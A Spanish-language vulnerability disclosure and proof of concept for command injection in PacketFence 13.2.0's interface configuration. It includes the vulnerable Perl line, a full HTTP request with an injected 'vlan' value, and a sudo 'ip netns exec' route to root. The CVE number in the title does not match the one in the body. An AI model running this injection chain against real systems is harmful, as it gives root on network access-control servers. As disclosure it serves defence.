ly1g3/packetfence-cve-2024-39024En Packetfence 13.2.0, la configuración de la interfaz WebGui permite la ejecución remota de código autenticada.
Investigador de seguridad: ly1g3, ly1g3[at]tuta.io
Huella GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Resumen: Ejecución remota de código - RCE de usuario autenticado de bajo nivel a administrador
CVE: CVE-2024-3924
Cronología:
Referencia: https://www.packetfence.com/news/2024/packetfence-14-0-released/
En Packetfence 13.2.0, el ajuste de la interfaz WebGui permite la ejecución remota de código autenticado.
De administrador autenticado a shell root
Admin -> Configuración -> Configuración de red -> Interfaces
Interface.pm: función create en la línea 64
La variable $vlan_id proviene de la entrada del usuario y solo se comprueba del lado del cliente
my $cmd = "sudo ip link add link $physical_interface name $physical_interface.$vlan_id type vlan id $vlan_id";
eval { $status = pf_run($cmd) };
burp:
POST /api/v1/config/interfaces HTTP/1.1
Host: 192.168.100.174:1443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Authorization: Bearer AAAAA
Content-Type: application/json
X-Packetfence-Tenant-Id: 1
Content-Length: 494
Origin: https://192.168.100.174:1443
Referer: https://192.168.100.174:1443/admin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Gpc: 1
Te: trailers
Connection: close
{"id":"eth0","prefixRouteName":"","type":"none","additional_listening_daemons":[],"address":"10.0.0.1/24","coa":null,"dhcpd_enabled":null,"dns":null,"high_availability":0,"hwaddr":"AA:AA:AA:AA:AA:64","ifindex":"3","ipaddress":"10.0.0.1","ipv6_address":null,"ipv6_prefix":null,"master":"eth0","name":"eth0","nat_enabled":null,"netmask":"255.255.255.0","network":"10.0.0.0","networks":[],"reg_network":null,"split_network":null,"tenant_id":1,"vip":null,"vlan":"$(echo 'win'>> /tmp/perl_log.txt)"}
gtfobins
$ sudo -l
Matching Defaults entries for pf on packetfence:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
!requiretty
Runas and Command-specific defaults for pf:
Defaults!/sbin/ip netns exec * !syslog
User pf may run the following commands on packetfence:
(root) NOPASSWD: /bin/systemctl, /sbin/iptables, /usr/sbin/ip6tables, /usr/sbin/ipset, /sbin/ipset, /sbin/ip,
/sbin/vconfig, /sbin/route, /usr/bin/systemctl, /usr/bin/tee, /usr/local/pf/sbin/pfdhcplistener, /bin/kill,
/usr/sbin/freeradius, /usr/sbin/chroot, /usr/local/pf/bin/pfcmd, /usr/sbin/conntrack, /usr/bin/timedatectl,
/usr/bin/hostnamectl
"vlan":";sudo /usr/sbin/ip netns exec foo id >> /tmp/perl_log.txt ;",